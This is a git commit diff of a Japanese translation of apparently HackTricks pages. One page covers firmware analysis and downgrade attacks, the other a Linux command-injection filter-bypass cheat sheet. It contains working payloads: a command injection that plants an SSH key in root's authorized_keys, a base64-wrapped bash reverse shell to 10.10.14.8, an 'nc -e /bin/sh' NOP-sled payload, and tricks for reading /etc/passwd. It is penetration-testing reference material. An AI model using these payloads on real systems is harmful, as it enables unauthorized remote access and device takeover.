Translated ['src/hardware-physical-access/firmware-analysis/README.md',

This commit is contained in:
Translator 2025-07-28 16:13:56 +00:00
parent 160d776ad5
commit 6aedcd568b
2 changed files with 100 additions and 34 deletions

View File

@ -4,15 +4,15 @@
## **はじめに**
ファームウェアは、デバイスが正しく動作するために必要なソフトウェアであり、ハードウェアコンポーネントとユーザーが対話するソフトウェア間の通信を管理し促進します。これは永続的なメモリに保存されており、デバイスが電源を入れた瞬間から重要な指示にアクセスできるようにし、オペレーティングシステムの起動につながります。ファームウェアを調査し、潜在的に変更することは、セキュリティの脆弱性を特定するための重要なステップです。
ファームウェアは、デバイスが正しく動作するために必要なソフトウェアであり、ハードウェアコンポーネントとユーザーが対話するソフトウェア間の通信を管理し促進します。これは永続メモリに保存されており、デバイスが電源を入れた瞬間から重要な指示にアクセスできるようにし、オペレーティングシステムの起動につながります。ファームウェアを調査し、潜在的に変更することは、セキュリティの脆弱性を特定するための重要なステップです。
## **情報収集**
**情報収集**は、デバイスの構成や使用されている技術を理解するための重要な初期ステップです。このプロセスには、以下のデータを収集することが含まれます:
- 実行されているCPUアーキテクチャとオペレーティングシステム
- CPUアーキテクチャと実行されているオペレーティングシステム
- ブートローダーの詳細
- ハードウェアレイアウトとデータシート
- ハードウェアレイアウトとデータシート
- コードベースのメトリクスとソースの場所
- 外部ライブラリとライセンスの種類
- 更新履歴と規制認証
@ -23,23 +23,23 @@
## **ファームウェアの取得**
ファームウェアの取得は、さまざまな手段を通じてアプローチでき、それぞれ異なる複雑さのレベルがあります:
ファームウェアの取得は、さまざまな手段を通じてアプローチでき、それぞれ異なる複雑さを持っています:
- **直接**ソース(開発者、製造業者)から
- 提供された指示から**ビルド**する
- 公式サポートサイトから**ダウンロード**する
- ホストされたファームウェアファイルを見つけるために**Google dork**クエリを利用する
- ホストされているファームウェアファイルを見つけるための**Google dork**クエリを利用する
- [S3Scanner](https://github.com/sa7mon/S3Scanner)のようなツールを使用して**クラウドストレージ**に直接アクセスする
- マンインザミドル技術を介して**更新**を傍受する
- 中間者攻撃技術を介して**更新**を傍受する
- **UART**、**JTAG**、または**PICit**のような接続を通じてデバイスから**抽出**する
- デバイス通信内での更新リクエストを**スニッフィング**する
- デバイス通信内での更新要求を**スニッフィング**する
- **ハードコーディングされた更新エンドポイント**を特定して使用する
- ブートローダーまたはネットワークから**ダンプ**する
- すべてが失敗した場合、適切なハードウェアツールを使用してストレージチップを**取り外して読み取る**
## ファームウェアの分析
ファームウェアを**取得した**ので、それについての情報を抽出してどのように扱うかを知る必要があります。それに使用できるさまざまなツール:
ファームウェアを**取得した**ので、それに関する情報を抽出してどのように扱うかを知る必要があります。それに使用できるさまざまなツール:
```bash
file <bin>
strings -n8 <bin>
@ -77,7 +77,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
次の**ddコマンド**を実行してSquashfsファイルシステムを切り出します。
次の**ddコマンド**を実行してSquashfsファイルシステムを切り出します。
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
@ -113,11 +113,11 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
## ファームウェアの分析
ファームウェアが取得されたら、その構造と潜在的な脆弱性を理解するために解剖することが重要です。このプロセスでは、さまざまなツールを利用してファームウェアイメージから貴重なデータを分析および抽出します。
ファームウェアが取得されたら、その構造と潜在的な脆弱性を理解するために解剖することが重要です。このプロセスでは、ファームウェアイメージから貴重なデータを分析し抽出するためにさまざまなツールを利用します。
### 初期分析ツール
バイナリファイル(`<bin>`と呼ばれる)の初期検査のためのコマンドセットが提供されています。これらのコマンドは、ファイルタイプの特定、文字列の抽出、バイナリデータの分析、およびパーティションとファイルシステムの詳細の理解に役立ちます。
バイナリファイル(`<bin>`と呼ばれる)の初期検査のためのコマンドセットが提供されています。これらのコマンドは、ファイルタイプの特定、文字列の抽出、バイナリデータの分析、およびパーティションとファイルシステムの詳細を理解するのに役立ちます:
```bash
file <bin>
strings -n8 <bin>
@ -126,13 +126,13 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
画像の暗号化状態を評価するために、**entropy**は`binwalk -E <bin>`でチェックされます。低いエントロピーは暗号化がないことを示唆し、高いエントロピーは暗号化または圧縮の可能性を示します。
画像の暗号化状態を評価するために、**entropy**は`binwalk -E <bin>`でチェックされます。低いエントロピーは暗号化の欠如を示唆し、高いエントロピーは暗号化または圧縮の可能性を示します。
**埋め込まれたファイル**を抽出するために、**file-data-carving-recovery-tools**のドキュメントやファイル検査のための**binvis.io**などのツールとリソースが推奨されます。
**埋め込まれたファイル**を抽出するために、**file-data-carving-recovery-tools**のドキュメントやファイル検査のための**binvis.io**などのツールとリソースが推奨されます。
### ファイルシステムの抽出
`binwalk -ev <bin>`を使用することで、通常はファイルシステムを抽出でき、しばしばファイルシステムタイプにちなんだ名前のディレクトリsquashfs、ubifsに保存されます。しかし、**binwalk**がマジックバイトが欠如しているためにファイルシステムタイプを認識できない場合、手動での抽出が必要です。これには、`binwalk`を使用してファイルシステムのオフセットを特定し、その後`dd`コマンドを使用してファイルシステムを切り出すことが含まれます。
`binwalk -ev <bin>`を使用することで、通常はファイルシステムを抽出でき、しばしばファイルシステムタイプsquashfs、ubifsにちなんだ名前のディレクトリに抽出されます。しかし、**binwalk**がマジックバイトの欠如によりファイルシステムタイプを認識できない場合、手動抽出が必要です。これには、`binwalk`を使用してファイルシステムのオフセットを特定し、その後`dd`コマンドを使用してファイルシステムを切り出します:
```bash
$ binwalk DIR850L_REVB.bin
@ -142,33 +142,33 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
### ファイルシステム分析
ファイルシステムが抽出されると、セキュリティの欠陥を探し始めます。注意が払われるのは、安全でないネットワークデーモン、ハードコーディングされた資格情報、APIエンドポイント、更新サーバーの機能、未コンパイルのコード、スタートアップスクリプト、およびオフライン分析のためのコンパイルされたバイナリです。
ファイルシステムが抽出されると、セキュリティの欠陥を探す作業が始まります。注意が払われるのは、安全でないネットワークデーモン、ハードコーディングされた認証情報、APIエンドポイント、更新サーバーの機能、未コンパイルのコード、スタートアップスクリプト、オフライン分析用のコンパイル済みバイナリです。
**確認すべき主要な場所**と**項目**には以下が含まれます:
- **etc/shadow****etc/passwd** のユーザー資格情報
- **etc/ssl** のSSL証明書とキー
- **etc/shadow****etc/passwd** のユーザー認証情報
- **etc/ssl** のSSL証明書と
- 潜在的な脆弱性のための設定ファイルとスクリプトファイル
- さらなる分析のための埋め込まれたバイナリ
- 一般的なIoTデバイスのウェブサーバーとバイナリ
いくつかのツールがファイルシステム内の機密情報や脆弱性を明らかにするのを助けます:
いくつかのツールがファイルシステム内の機密情報や脆弱性を発見するのを助けます:
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) と [**Firmwalker**](https://github.com/craigz28/firmwalker) の機密情報検索
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) の包括的なファームウェア分析
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer)、[**ByteSweep**](https://gitlab.com/bytesweep/bytesweep)、[**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go)、および [**EMBA**](https://github.com/e-m-b-a/emba) の静的および動的分析
### コンパイルされたバイナリのセキュリティチェック
### コンパイル済みバイナリのセキュリティチェック
ファイルシステム内で見つかったソースコードとコンパイルされたバイナリは、脆弱性のために精査されなければなりません。Unixバイナリ用の**checksec.sh**やWindowsバイナリ用の**PESecurity**のようなツールは、悪用される可能性のある保護されていないバイナリを特定するのに役立ちます。
ファイルシステム内で見つかったソースコードとコンパイル済みバイナリは、脆弱性のために精査されなければなりません。Unixバイナリ用の**checksec.sh**やWindowsバイナリ用の**PESecurity**のようなツールは、悪用される可能性のある保護されていないバイナリを特定するのに役立ちます。
## 動的分析のためのファームウェアのエミュレーション
ファームウェアをエミュレートするプロセスは、デバイスの動作または個々のプログラムの**動的分析**を可能にします。このアプローチは、ハードウェアやアーキテクチャの依存関係に関する課題に直面することがありますが、ルートファイルシステムや特定のバイナリを、Raspberry Piのような一致するアーキテクチャとエンディアンネスを持つデバイスや、事前構築された仮想マシンに転送することで、さらなるテストを促進できます。
ファームウェアをエミュレートするプロセスは、デバイスの動作または個々のプログラムの**動的分析**を可能にします。このアプローチは、ハードウェアやアーキテクチャの依存関係に関する課題に直面することがありますが、ルートファイルシステムや特定のバイナリを、Raspberry Piのような一致するアーキテクチャとエンディアンネスを持つデバイスや、事前構築された仮想マシンに転送することで、さらなるテストが容易になります。
### 個々のバイナリのエミュレーション
単一のプログラムを調るためには、プログラムのエンディアンネスとCPUアーキテクチャを特定することが重要です。
単一のプログラムを調査するためには、プログラムのエンディアンネスとCPUアーキテクチャを特定することが重要です。
#### MIPSアーキテクチャの例
@ -180,7 +180,7 @@ file ./squashfs-root/bin/busybox
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
MIPSビッグエンディアンには `qemu-mips` が使用され、リトルエンディアンバイナリには `qemu-mipsel` が選択されます。
MIPSビッグエンディアンには `qemu-mips` が使用され、リトルエンディアンバイナリには `qemu-mipsel` が選択されます。
#### ARMアーキテクチャエミュレーション
@ -192,7 +192,7 @@ ARMバイナリの場合、プロセスは似ており、エミュレーショ
## 実践における動的分析
この段階では、実際のデバイス環境またはエミュレートされた環境が分析に使用されます。OSおよびファイルシステムへのシェルアクセスを維持することが重要です。エミュレーションはハードウェアの相互作用を完全に模倣できない場合があるため、時折エミュレーションを再起動する必要があります。分析はファイルシステムを再訪し、公開されたウェブページやネットワークサービスを悪用し、ブートローダーの脆弱性を探るべきです。ファームウェアの整合性テストは、潜在的なバックドア脆弱性を特定するために重要です。
この段階では、実際のデバイス環境またはエミュレートされた環境が分析に使用されます。OSおよびファイルシステムへのシェルアクセスを維持することが重要です。エミュレーションはハードウェアの相互作用を完全に模倣できない場合があるため、時折エミュレーションを再起動する必要があります。分析はファイルシステムを再訪し、公開されたウェブページやネットワークサービスを悪用し、ブートローダーの脆弱性を探るべきです。ファームウェアの整合性テストは、潜在的なバックドア脆弱性を特定するために重要です。
## 実行時分析技術
@ -200,18 +200,61 @@ ARMバイナリの場合、プロセスは似ており、エミュレーショ
## バイナリの悪用と概念実証
特定された脆弱性のPoCを開発するには、ターゲットアーキテクチャと低レベル言語でのプログラミングに関する深い理解が必要です。組み込みシステムにおけるバイナリ実行時保護は稀ですが、存在する場合は、Return Oriented ProgrammingROPなどの技術が必要になることがあります。
特定された脆弱性のPoCを開発するには、ターゲットアーキテクチャの深い理解と低レベル言語でのプログラミングが必要です。組み込みシステムにおけるバイナリ実行時保護は稀ですが、存在する場合は、リターン指向プログラミングROPなどの技術が必要になることがあります。
## ファームウェア分析のための準備されたオペレーティングシステム
[AttifyOS](https://github.com/adi0x90/attifyos) や [EmbedOS](https://github.com/scriptingxss/EmbedOS) などのオペレーティングシステムは、必要なツールを備えたファームウェアセキュリティテストのための事前構成された環境を提供します。
[AttifyOS](https://github.com/adi0x90/attifyos) や [EmbedOS](https://github.com/scriptingxss/EmbedOS) のようなオペレーティングシステムは、必要なツールを備えたファームウェアセキュリティテストのための事前構成された環境を提供します。
## ファームウェアを分析するための準備されたOS
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOSは、IoTデバイスのセキュリティ評価とペネトレーションテストを行うためのディストリビューションです。必要なツールがすべてロードされた事前構成された環境を提供することで、多くの時間を節約します。
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): ファームウェアセキュリティテストツールがプリロードされたUbuntu 18.04に基づく組み込みセキュリティテストオペレーティングシステムです。
## 脆弱なファームウェアの練習
## ファームウェアダウングレード攻撃と不正な更新メカニズム
ベンダーがファームウェアイメージの暗号署名チェックを実装しても、**バージョンロールバック(ダウングレード)保護はしばしば省略されます**。ブートローダーまたはリカバリーローダーが埋め込まれた公開鍵で署名を検証するだけで、フラッシュされるイメージの*バージョン*(または単調カウンター)を比較しない場合、攻撃者は**有効な署名を持つ古い脆弱なファームウェアを正当にインストール**し、修正された脆弱性を再導入することができます。
典型的な攻撃ワークフロー:
1. **古い署名済みイメージを取得**
* ベンダーの公開ダウンロードポータル、CDN、またはサポートサイトから取得します。
* 付属のモバイル/デスクトップアプリケーションから抽出しますAndroid APKの `assets/firmware/` 内)。
* VirusTotal、インターネットアーカイブ、フォーラムなどのサードパーティリポジトリから取得します。
2. **デバイスにイメージをアップロードまたは提供** します:
* Web UI、モバイルアプリAPI、USB、TFTP、MQTTなど。
* 多くの消費者向けIoTデバイスは、Base64エンコードされたファームウェアブロブを受け入れる*認証されていない* HTTP(S) エンドポイントを公開し、サーバー側でデコードしてリカバリ/アップグレードをトリガーします。
3. ダウングレード後、最新のリリースで修正された脆弱性を悪用します(例えば、後で追加されたコマンドインジェクションフィルターなど)。
4. オプションで、最新のイメージを再フラッシュするか、持続性を得た後に検出を避けるために更新を無効にします。
### 例:ダウングレード後のコマンドインジェクション
```http
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
Host: 192.168.0.1
Content-Type: application/octet-stream
Content-Length: 0
```
脆弱な(ダウングレードされた)ファームウェアでは、`md5`パラメータがサニタイズされることなくシェルコマンドに直接連結されており、任意のコマンドの注入を可能にしていますここでは、SSHキーによるルートアクセスの有効化。後のファームウェアバージョンでは基本的な文字フィルタが導入されましたが、ダウングレード保護が欠如しているため、修正は無意味です。
### モバイルアプリからのファームウェアの抽出
多くのベンダーは、アプリがBluetooth/Wi-Fi経由でデバイスを更新できるように、完全なファームウェアイメージをそのコンパニオンモバイルアプリケーション内にバンドルしています。これらのパッケージは、一般的に`assets/fw/``res/raw/`のようなパスの下に暗号化されずに保存されています。`apktool``ghidra`、または単純な`unzip`などのツールを使用すると、物理ハードウェアに触れることなく署名されたイメージを抽出できます。
```
$ apktool d vendor-app.apk -o vendor-app
$ ls vendor-app/assets/firmware
firmware_v1.3.11.490_signed.bin
```
### アップデートロジック評価のチェックリスト
* *アップデートエンドポイント*の輸送/認証は適切に保護されていますかTLS + 認証)?
* デバイスはフラッシングの前に**バージョン番号**または**単調なアンチロールバックカウンター**を比較しますか?
* 画像はセキュアブートチェーン内で検証されていますかROMコードによる署名の確認
* ユーザーランドコードは追加の整合性チェックを行いますか(例:許可されたパーティションマップ、モデル番号)?
* *部分的*または*バックアップ*のアップデートフローは同じ検証ロジックを再利用していますか?
> 💡 上記のいずれかが欠けている場合、プラットフォームはロールバック攻撃に対して脆弱である可能性があります。
## 実践用の脆弱なファームウェア
ファームウェアの脆弱性を発見する練習をするために、以下の脆弱なファームウェアプロジェクトを出発点として使用してください。
@ -232,6 +275,7 @@ ARMバイナリの場合、プロセスは似ており、エミュレーショ
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
- [Exploiting zero days in abandoned hardware Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
## トレーニングと認証

View File

@ -18,7 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### パスと禁止ワードのバイパス
### バイパスパスと禁止ワード
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
@ -110,7 +110,7 @@ uname!-1\-a # This equals to uname -a
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
### パイプをバイパスする
### パイプのバイパス
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
@ -138,13 +138,13 @@ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```
### DNSデータの
### DNSデータの
例えば、**burpcollab**や[**pingb**](http://pingb.in)を使用できます。
### ビルトイン
外部関数を実行できず、**RCEを取得するための限られたビルトインのセットにのみアクセスできる**場合、いくつかの便利なトリックがあります。通常、**すべての**ビルトインを使用することはできないため、**すべてのオプションを知っておく**必要があります。アイデアは[**devploit**](https://twitter.com/devploit)から。\
外部関数を実行できず、**RCEを取得するための限られたビルトインのセット**にしかアクセスできない場合、いくつかの便利なトリックがあります。通常、**すべての**ビルトインを使用することはできないため、**すべてのオプションを知っておく**必要があります。アイデアは[**devploit**](https://twitter.com/devploit)から。\
まず、すべての[**シェルビルトイン**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**を確認してください。** それから、いくつかの**推奨事項**があります:
```bash
# Get list of builtins
@ -296,7 +296,7 @@ ln /f*
```
## 読み取り専用/Noexec/Distroless バイパス
**読み取り専用および noexec 保護** のあるファイルシステム内、または distroless コンテナ内にいる場合でも、**任意のバイナリを実行する方法、さらにはシェルを実行する方法があります!:**
**読み取り専用および noexec 保護** のあるファイルシステムや、distroless コンテナ内にいる場合でも、**任意のバイナリを実行する方法、さらにはシェルを実行する方法があります!:**
{{#ref}}
bypass-fs-protections-read-only-no-exec-distroless/
@ -308,11 +308,33 @@ bypass-fs-protections-read-only-no-exec-distroless/
../privilege-escalation/escaping-from-limited-bash.md
{{#endref}}
## 参考文献 & その他
## スペースベースの Bash NOP スレッド ("Bashsledding")
脆弱性により、最終的に `system()` または別のシェルに到達する引数を部分的に制御できる場合、実行がペイロードを読み始める正確なオフセットがわからないことがあります。従来の NOP スレッド(例: `\x90`)はシェル構文では **機能しません** が、Bash はコマンドを実行する前に先頭の空白を無害に無視します。
したがって、実際のコマンドの前に長いスペースまたはタブ文字のシーケンスを付加することで、*Bash 用の NOP スレッド*を作成できます:
```bash
# Payload sprayed into an environment variable / NVRAM entry
" nc -e /bin/sh 10.0.0.1 4444"
# 16× spaces ───┘ ↑ real command
```
もしROPチェーンまたは任意のメモリ破損プリミティブが命令ポインタをスペースブロック内のどこかに配置すると、Bashパーサーは単にホワイトスペースをスキップし、`nc`に到達し、コマンドを確実に実行します。
実用的な使用例:
1. **メモリマップされた設定ブロブ**NVRAMで、プロセス間でアクセス可能なもの。
2. 攻撃者がペイロードを整列させるためにNULLバイトを書き込むことができない状況。
3. BusyBox `ash`/`sh`のみが利用可能な組み込みデバイス これらも先頭のスペースを無視します。
> 🛠️ このトリックを`system()`を呼び出すROPガジェットと組み合わせることで、メモリ制約のあるIoTルーターでのエクスプロイトの信頼性を大幅に向上させることができます。
## 参考文献とその他
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju)
- [Exploiting zero days in abandoned hardware Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
{{#include ../../banners/hacktricks-training.md}}